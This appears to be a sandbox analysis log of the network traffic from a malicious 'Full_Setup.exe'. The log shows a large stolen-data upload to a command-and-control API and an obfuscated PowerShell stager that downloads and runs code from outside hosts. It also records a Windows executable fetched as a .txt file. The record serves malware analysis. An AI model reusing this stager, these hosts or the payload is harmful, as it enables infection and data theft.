2024-12-27 19:17:37 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VED7E5XIKXK2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570704 Host: invinciblepol.click
2024-12-27 19:17:37 UTC	15331	OUT	Data Raw: 2d 2d 56 45 44 37 45 35 58 49 4b 58 4b 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 32 35 36 44 30 31 32 32 46 42 41 44 31 37 43 43 46 37 33 35 43 41 43 31 31 43 36 32 44 32 0d 0a 2d 2d 56 45 44 37 45 35 58 49 4b 58 4b 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 56 45 44 37 45 35 58 49 4b 58 4b 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 56 45 44 37 45 35 58 49 4b 58 4b 32 0d 0a 43 Data Ascii: --VED7E5XIKXK2Content-Disposition: form-data; name="hwid"3A256D0122FBAD17CCF735CAC11C62D2--VED7E5XIKXK2Content-Disposition: form-data; name="pid"1--VED7E5XIKXK2Content-Disposition: form-data; name="lid"hRjzG3--ZINA--VED7E5XIKXK2C
2024-12-27 19:17:37 UTC	15331	OUT	Data Raw: 38 25 20 e5 cd 7f ff a9 45 c8 07 f0 bb 2a 56 98 4a ac 94 66 2c 01 24 3d 09 0b a6 3c 0e 7b 05 d8 66 0a e0 77 e1 b5 be c3 38 24 a3 b7 15 5e 63 0c 9d 97 a4 e1 77 93 5d 44 c0 19 75 2c 8c e3 62 d7 ac d1 a1 8a db 57 f7 73 dd b6 83 d4 20 c7 ff b7 4a 49 f3 01 ba fd ae e0 0e 1a d4 93 c9 3d 41 c0 6b 0b 07 0b d0 14 9c d3 c2 c2 4b cc d8 3d 69 a5 02 10 ef cf 05 a3 d4 63 0c de 82 a1 6d 9b 25 c4 38 24 d5 2b 0c 2e 25 a6 39 b8 e1 40 83 3c 2f c0 18 1d b3 3d c3 a1 04 92 53 81 a9 db f9 45 9a 34 bf cd cf c9 61 0f bf 18 31 45 3b a5 bc 1c b9 50 f4 88 71 fc ab c5 29 15 de b4 56 1c b5 c2 54 56 63 08 96 e9 29 42 6c 00 ef 47 51 31 a6 e0 02 86 45 49 d9 6a f0 77 91 e7 d4 3a 12 b9 a4 15 f9 2a fe 31 e3 f1 55 3b 09 2a 99 91 8e 85 25 96 35 67 de 2d 01 bf 3d 34 6d 74 a0 20 f8 d1 8f 66 6f Data Ascii: 8% EVJf,$=<{fw8$^cw]Du,bWs JI=AkK=icm%8$+.%9@</=SE4a1E;Pq)VTVc)BlGQ1EIjw:1U;*%5g-=4mt fo
2024-12-27 19:17:37 UTC	15331	OUT	Data Raw: 2a 12 5e 2c 8c 68 56 d3 89 28 aa 44 48 de b2 32 92 c6 3e 8e b4 31 73 7a 35 9d d1 fe 6b 0d 9a 43 58 de 28 28 85 7d 51 6f 95 db 24 e0 c8 4d 85 b1 fc 89 88 16 8a 44 b0 97 04 ed d4 03 5c c7 0b 04 15 29 33 0c f6 4a 45 96 98 ae 65 3e 1a 36 15 a3 55 c6 a7 9f 55 ae 4b 86 08 10 f7 74 bf cb 6f a2 9b 4c c1 42 31 5a aa 0f f1 72 85 2f 34 66 3f 14 8a 8c ed 9e 34 04 3e 48 f4 9b 3a a5 08 c4 04 95 5c 53 8a d1 41 f7 0c 86 0b cd 7e 31 9a 1e ec 58 a7 97 58 ec ef 3c cf 94 44 87 0b f2 f6 d5 d3 ff 52 75 fd 1e 47 61 18 94 71 e6 e6 8c fc 56 df 1c b3 e4 0c 48 23 fc ce 57 e4 e6 ba 19 44 b8 d6 8e 50 ad ef 0f 90 f7 74 5d 8f a0 5c 39 c3 75 79 83 87 46 5f cd 4f 7d 17 bb 5c f9 57 d0 cf 16 8d cd 78 6f 17 c8 47 13 ce 3c 41 c6 dc c1 dc 7d b0 78 29 26 2b 4f ed 4e 3c 9b d4 7a 90 7c 81 d1 b0 Data Ascii: *^,hV(DH2>1sz5kCX((}Qo$MD\)3JEe>6UUKtoLB1Zr/4f?4>H:\SA~1XX<DRuGaqVH#WDPt]\9uyF_O}\WxoG<A}x)&+ON<z\|
2024-12-27 19:17:37 UTC	15331	OUT	Data Raw: 5e dd 5b 34 51 75 68 a4 b8 41 fb e4 20 42 dc dd 3b 40 f5 85 2e a7 df 5b 86 14 7d f5 db 93 12 db a5 af f6 d4 8b 4b cf ae 86 01 db 18 d4 1c db ac 35 af 04 60 a8 bf ef 7e 3c f2 8a e9 d2 17 9c 81 3a d0 32 df bc ef d1 3a e1 6a b8 52 6a 8a b7 75 30 ca 7f 77 6d ea 2f 82 6e 8a a0 f8 8b d8 01 5f 70 c6 e6 bf a2 c9 d1 eb 1d 75 46 39 4b 13 cd 56 db 4b 45 1f 9d 78 c9 d1 f2 bb 4b 6a 3e 71 cd 76 ce 87 5f 2f bc f7 df cb 90 1d 16 bc 43 71 fb 80 ee 45 7e 7e c8 91 7e 40 f8 af 96 92 ba b9 c9 b9 48 75 0d 5d b2 fb 78 a3 37 6a 49 e4 26 da e3 9e 6b 92 50 52 83 9e a0 99 0b 18 6b 53 63 2a 75 7b 0b 82 6b 4b b0 f3 28 75 f3 b8 0c 9d 30 b8 e5 77 e7 e4 e7 6e 1c b3 a7 fd 68 49 da c2 23 ca de ee f6 8f 73 a9 95 3f 38 06 71 16 14 d9 ab cd 77 79 8a 17 cf d1 fc ca 5a fb c9 9f 76 cf f0 f4 5b Data Ascii: ^[4QuhA B;@.[}K5`~<:2:jRju0wm/n_puF9KVKExKj>qv_/CqE~~~@Hu]x7jI&kPRkSc*u{kK(u0wnhI#s?8qwyZv[
2024-12-27 19:17:37 UTC	15331	OUT	Data Raw: b7 94 19 d2 0f 89 d3 8b 99 bc 09 9b ea fb 73 71 70 f3 a0 8e 70 97 af d6 69 8e 8f 94 d1 78 9b 83 57 39 39 67 c1 6b 68 e4 85 ea 52 6d 72 55 59 12 3a f6 80 ea 88 05 c7 26 78 bf b3 8b bc d8 ee 9d 3d ad 4c b7 87 dc 66 cd ca bc 27 7f 8f 95 64 c0 ab 02 37 ab 33 5c 73 21 de 32 a2 17 61 30 c7 05 7f 98 31 b8 b9 17 21 04 8c 26 72 a1 3a 22 d0 7b 7d 86 8f 38 38 ae 66 b3 03 79 1e 4a 6f 88 fa 5f 99 b4 45 06 05 dc f6 9a 74 2a ba 8f 04 1f ee 65 36 f1 80 21 8a e3 a8 b5 aa 0b 46 78 e7 dd fb 4f 87 df 6b 9b fa 6b 49 3a dc 3f 22 69 73 4f e5 bd b2 39 29 dd 0f fd f7 01 ad 69 e1 64 c2 0a c4 f0 4f a4 f2 fd ff 5f c9 0d 49 50 3a c6 03 e7 81 c5 3f 03 97 64 16 df 08 31 aa ca 29 29 2d c8 62 f8 f3 62 c9 a3 22 1e 0e c2 79 aa fd 13 67 47 38 e1 bb 44 59 56 82 20 e2 cf f6 74 a0 a2 fd 0c 49 Data Ascii: sqppixW99gkhRmrUY:&x=Lf'd73\s!2a01!&r:"{}88fyJo_Et*e6!FxOkkI:?"isO9)idO_IP:?d1))-bb"ygG8DYV tI
2024-12-27 19:17:37 UTC	15331	OUT	Data Raw: 14 a0 7b 7b 78 4d 7b c9 f6 56 62 85 70 83 20 a5 c9 8d ef e5 c4 d9 ce c9 a5 b5 21 1b b7 8a f9 75 66 11 72 4e 75 12 c2 4d e5 c8 0a 8b c6 cf cb 35 d8 6a f9 42 17 7b 42 81 dc b3 a8 42 52 a3 81 81 af c0 8f 83 2d 81 54 75 e5 56 6f ed da 04 28 de 7b db e7 59 9a 16 32 b0 60 fb d5 8e 5a 11 6b 19 46 00 62 57 ad 33 4a 39 5c 9f 63 db c5 31 a5 5f 08 03 82 6e 8c dd e3 eb b9 7f e4 ee d6 a4 53 bd 62 77 91 b3 47 5b b2 50 89 4a b4 a1 98 fd 78 df e5 8f 46 36 df f4 3d 0b 04 0d 35 9a c2 b6 f8 c2 4e b7 f1 15 e7 1b ce 3a c6 f6 56 6c 3f f8 11 64 f8 43 e8 9c b3 ec af ba c4 67 d0 ef 12 6c 6e 65 22 86 00 1e 0c 15 d0 5b db 06 e5 6d b9 3f 5c 21 e1 6c 44 ef 20 6e fd 16 bd e0 a8 ce e1 2d 7d dc 21 8e 3f 6a 62 eb 28 bd c8 cc 80 64 58 25 c9 88 de a7 a6 3e ab 27 8f 09 81 7d 7e 54 87 f4 4f Data Ascii: {{xM{Vbp !ufrNuM5jB{BBR-TuVo({Y2`ZkFbW3J9\c1_nSbwG[PJxF6=5N:Vl?dCglne"[m?\!lD n-}!?jb(dX%>'}~TO
2024-12-27 19:17:37 UTC	15331	OUT	Data Raw: ff 58 33 c1 e5 5c 20 43 c4 62 36 12 79 08 23 cb db 2c 6b 17 32 bd fe b3 9c 22 27 4a de d5 f5 9c 55 f2 ff b5 55 fc c4 c9 22 e0 eb 9d c3 79 71 55 1e 6f f6 b5 05 c6 e9 f6 7d 43 e2 dd b9 6f 55 59 c3 12 4d b0 0b a7 4a 90 91 82 20 0f 1d 58 5d 9a 91 94 c6 09 42 6e a0 ce 6d a6 20 75 37 1b 36 51 ee 70 ab ea a1 e8 8f 8b 80 b0 ea 1d 04 6e e1 64 66 33 27 38 50 25 ff db b2 57 36 3e 7a c9 80 6b 77 96 87 64 bd 4c fd eb 5f 1f 3f 42 fe d8 19 9f 0d 24 88 f7 de c0 2d e2 90 e5 b7 1c d3 dc e7 4a e2 ab f1 8a 56 b4 24 c6 fa cf 4c 7c e4 93 cd d0 14 44 f2 6d 16 66 73 dc 96 34 94 50 a0 8d 84 9b 0f 58 91 26 e8 ac dc 59 2d fd 36 1f cd fa 19 25 7a 13 0d 70 9b ab 3f d3 58 3e 43 08 fa b5 d1 a5 c7 39 f7 02 99 ec 00 e7 ea 1f d7 a2 1c 7a c1 62 8d 10 b8 ba 31 5a f2 b1 46 7a b4 52 a9 6f b3 Data Ascii: X3\ Cb6y#,k2"'JUU"yqUo}CoUYMJ X]Bnm u76Qpndf3'8P%W6>zkwdL_?B$-JV$L\|Dmfs4PX&Y-6%zp?X>C9zb1ZFzRo
2024-12-27 19:17:37 UTC	15331	OUT	Data Raw: 90 52 0f 2b f1 03 6b 23 66 dd 1d 24 41 f7 1d ea 4f 22 21 44 0e 31 ef 44 3d 10 30 07 af 1b ce 5f 0b 85 09 cf 43 f4 f9 13 17 87 2a 1c 46 f3 d2 09 22 9a 0c 85 74 c5 d7 e4 04 4f 53 d8 b4 1e 2e 93 ea a2 72 df 4d db 5c 0c c3 c0 04 b2 33 df af f6 ff b6 a7 b5 e8 65 fe 48 d8 04 3c 07 e6 9e a3 60 d9 f9 33 e3 2f b0 30 1f 8e 77 51 1a db 39 3e 31 e7 ca b6 1f 88 34 20 6a a3 cc c4 fa 8a 6e d8 d7 ba 28 a5 cf 8d a7 98 5d 50 bc a4 94 61 30 a7 de e6 1a 6b 5f 43 94 0f d5 bb 24 18 4f e6 07 bc 02 eb b1 55 47 5d eb 3b cd 9a c6 f7 87 38 4a 05 20 31 ab 7c 45 bd f4 07 9e fe 24 ec f5 7d 8b de 50 32 b2 3b 35 ae a5 86 f7 44 34 d0 6c 3e 0d 7e 2b 5f d5 2f f1 e4 bc 28 7b 70 7c 58 a2 df 69 d3 f9 5f c4 13 4a e1 fe a9 fa ab 02 a4 40 8f 18 c6 b0 51 7e 4f 49 c0 35 af a5 cd 2f 89 78 52 ad a9 Data Ascii: R+k#f$AO"!D1D=0_C*F"tOS.rM\3eH<`3/0wQ9>14 jn(]Pa0k_C$OUG];8J 1\|E$}P2;5D4l>~+_/({p\|Xi_J@Q~OI5/xR
2024-12-27 19:17:37 UTC	15331	OUT	Data Raw: 97 30 dd d7 4f fa f6 44 15 6a 5e 24 ee ef 01 f4 c1 4c 84 96 04 31 f3 65 41 d5 e5 fd 00 fe 97 17 44 1b 4c ba 57 e6 ac bd 4c 6c 21 6b 63 b9 0e a8 ef 9a 3c 02 db cd 1c 66 a4 c0 d5 dd a6 f2 10 29 1e 0e 42 96 09 67 58 ba 8f 26 c3 af c9 bc 18 bb 20 89 25 4e f1 75 fc 4a f0 5b 10 6e 25 20 22 dd fc 3c e6 1f a8 70 e7 f6 54 a8 77 3a 74 2c 41 96 d9 b8 4e 13 c1 ef 92 85 df 01 94 db 50 52 ec d6 c1 e7 21 44 fc 0d c6 c5 64 db d9 ee a2 61 3d b6 8c b0 90 1b f7 e0 b5 d1 02 e1 28 95 4e c0 9d 98 0b 3f 4a 80 b5 0c 7f cd 31 39 af 74 da 1a a2 25 44 85 20 e5 8d 40 1d aa 30 41 84 4e d8 77 a9 fe 01 c4 0f f1 f1 0b 4a 7c ab 39 f0 28 56 fe e9 27 70 a0 f7 6b 53 3e ca ac 21 58 82 f3 06 a4 3f 09 56 45 d0 82 5d 63 1a 5f 3c 19 54 77 c8 6f 0f e0 9b 4d ca 23 f3 f3 cd 6e d1 a3 c2 04 85 99 da Data Ascii: 0ODj^$L1eADLWLl!kc<f)BgX& %NuJ[n% "<pTw:t,ANPR!Dda=(N?J19t%D @0ANwJ\|9(V'pkS>!X?VE]c_<TwoM#n
2024-12-27 19:17:37 UTC	15331	OUT	Data Raw: 61 6d 69 e5 3a ad f1 72 e6 ef 27 e7 42 db f7 05 70 8e 9a ad 78 21 36 00 fb 68 8b 74 ff 7f 80 32 fb 5c eb 51 a1 31 48 37 67 6c e8 ed 7f ba 7d 1c 36 be 0b ea 16 64 f3 cf 55 df 3f 7c 4b 82 b0 dd 28 80 db 0b 91 f9 a1 8c 3d d1 43 b1 f9 46 76 28 18 0e b3 dd bd cd d2 9f b3 6e fd 0c ae 0f e1 e5 4e 61 d9 05 d9 47 f7 4b 33 6f 35 a8 d9 9c 46 d6 36 c6 7d 7f e9 9b e3 a5 00 f6 e0 39 01 91 55 8b 31 52 27 9d 7c b9 1f 9a 5d 1d 64 69 45 13 16 fc 64 71 ce e3 af e6 b7 01 7e 02 f1 d7 08 31 08 17 8c db fa f5 ec d2 68 92 08 c5 17 32 77 cc cf 40 c8 3c ac 17 dd 21 d8 94 a5 75 08 1c b6 4e af ad 31 5a 0d 4c 6b 42 9b 96 62 f8 e9 8d 3c 14 73 93 62 ee 79 96 b5 9e f4 e9 7a 1a 2f 98 dc 40 cf d8 81 a6 5f c2 1a 0b 94 d7 49 b5 b2 e9 8a f5 81 b2 22 63 3a 6f 94 13 c3 bd a5 98 cd 2a f3 de ae Data Ascii: ami:r'Bpx!6ht2\Q1H7gl}6dU?\|K(=CFv(nNaGK3o5F6}9U1R'\|]diEdq~1h2w@<!uN1ZLkBb<sbyz/@_I"c:o*
2024-12-27 19:17:39 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1dgnr5pbs9lru53tsa581vdjfv; expires=Tue, 22 Apr 2025 13:04:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zx7yMilMMxbmcu0WCyz7rfAodpc0rcj3AjHFDwNotidn15O9w%2FRkbYPDD%2BVKPOZB4XvfVirRVYJ8hf5b6HbiJH417p4qxOyMUgJYLfsBVkpHcknmEHdlX6wHGxXBNJW6Oz5Qmhnh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ba6dcb8a3efa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1792&rtt_var=696&sent=339&recv=599&lost=0&retrans=0&sent_bytes=2849&recv_bytes=573248&delivery_rate=1544156&cwnd=200&unsent_bytes=0&cid=ab8c8beadc8498a8&ts=2440&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	172.67.204.41	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:17:40 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: invinciblepol.click
2024-12-27 19:17:40 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 26 6a 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 26 68 77 69 64 3d 33 41 32 35 36 44 30 31 32 32 46 42 41 44 31 37 43 43 46 37 33 35 43 41 43 31 31 43 36 32 44 32 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--ZINA&j=637b55279021aab33278188cfa638397&hwid=3A256D0122FBAD17CCF735CAC11C62D2
2024-12-27 19:17:41 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tm01ffsohrm9o1losn60ka61lp; expires=Tue, 22 Apr 2025 13:04:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5BSXd7ftwmxTWraXi59bL3ETJHBW6gsFvNaGa58S2MgZxL7ruFQfnJryEZLg58UrTnFooUjIAgG9mLN%2B0Ql8xF4BP81viu7JO4ICD7cOD5Z%2FNOr0x4JNxQSJ3z6eSYLSbaytxooD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ba6f4c8d97d02-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1799&rtt_var=685&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=1017&delivery_rate=1584373&cwnd=230&unsent_bytes=0&cid=52cdc1d3690b3f49&ts=760&x=0"
2024-12-27 19:17:41 UTC	218	IN	Data Raw: 64 34 0d 0a 76 36 31 57 49 64 67 72 57 65 33 44 6c 46 56 4f 47 65 5a 79 2f 77 64 6d 67 63 34 67 63 57 73 58 67 52 78 6e 38 65 53 69 6b 41 58 6b 31 6e 52 55 2b 68 46 37 68 62 66 67 4a 54 30 6a 75 6c 32 6a 4b 41 58 6b 71 56 56 66 47 48 2f 75 62 44 76 65 33 4a 65 6e 4d 59 32 62 5a 42 58 73 48 51 58 43 73 2f 78 37 4f 6d 47 53 55 4e 4d 6c 41 50 58 73 47 6b 4e 48 4e 65 51 2b 58 63 43 5a 6a 75 73 6e 79 6f 39 73 41 37 42 66 4c 5a 32 77 72 67 6c 68 52 63 6b 5a 6b 32 34 57 39 37 74 4e 47 42 68 69 36 44 49 55 6d 59 76 53 7a 43 72 57 77 79 4a 2b 75 30 63 70 73 72 44 38 4e 47 42 74 6e 67 62 64 4b 30 54 6e 75 67 4a 4c 57 7a 75 6a 65 55 58 4c 31 4e 2f 4e 0d 0a Data Ascii: d4v61WIdgrWe3DlFVOGeZy/wdmgc4gcWsXgRxn8eSikAXk1nRU+hF7hbfgJT0jul2jKAXkqVVfGH/ubDve3JenMY2bZBXsHQXCs/x7OmGSUNMlAPXsGkNHNeQ+XcCZjusnyo9sA7BfLZ2wrglhRckZk24W97tNGBhi6DIUmYvSzCrWwyJ+u0cpsrD8NGBtngbdK0TnugJLWzujeUXL1N/N
2024-12-27 19:17:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	185.161.251.21	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:17:43 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2024-12-27 19:17:44 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:17:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2024-12-27 19:17:44 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	104.21.37.128	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:17:45 UTC	206	OUT	GET /int_clp_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipvumisui.shop
2024-12-27 19:17:46 UTC	906	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:17:46 GMT Content-Type: text/plain Content-Length: 12191445 Connection: close Accept-Ranges: bytes ETag: "34b63f16f994365a2fc9263e87cd28e8" Last-Modified: Fri, 27 Dec 2024 11:15:21 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tXaqorDQT4LDWmwaynfq1iIZ0au1MkbWzCrTMNcbQDbwKGQEBavQQWZxBuPZ8r9pOiLVWEFSyShChtJfkr2NAh2%2FpN%2BQu3v3fF8BNEg4%2FROOg0cD4%2B7I7uKCrvSvqu%2Fjt8E2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ba711ca5f8c84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2049&min_rtt=2048&rtt_var=771&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=820&delivery_rate=1417475&cwnd=175&unsent_bytes=0&cid=c56e57b09987f61d&ts=652&x=0"
2024-12-27 19:17:46 UTC	463	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-12-27 19:17:46 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 a4 01 00 00 00 60 Data Ascii: R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP@.didata`
2024-12-27 19:17:46 UTC	1369	IN	Data Raw: 2c 13 40 00 01 07 48 52 45 53 55 4c 54 04 00 00 00 80 ff ff ff 7f 02 00 44 13 40 00 0e 05 54 47 55 49 44 10 00 00 00 00 00 00 00 00 04 00 00 00 e4 10 40 00 00 00 00 00 02 02 44 31 02 00 cc 10 40 00 04 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 06 00 0b 40 76 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 0e 26 6f 70 5f 49 6e 65 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 09 28 9c 4a 00 05 45 6d 70 74 79 00 00 40 13 40 00 00 02 00 09 28 9c 4a 00 06 43 72 65 61 74 65 00 00 40 13 40 00 02 02 00 Data Ascii: ,@HRESULTD@TGUID@D1@D2@D3D4@v@&op_Equality@@@Left@@Right(J&op_Inequality@@@Left@@Right(JEmpty@@(JCreate@@
2024-12-27 19:17:46 UTC	1369	IN	Data Raw: 1f 40 00 4a 00 fe ff 72 1f 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 7d 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 7d 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 44 69 73 70 6f 73 65 4f 66 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 3e 00 f4 7d 40 00 0c 49 6e 69 74 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 00 11 40 00 01 00 08 49 6e 73 74 61 6e 63 65 02 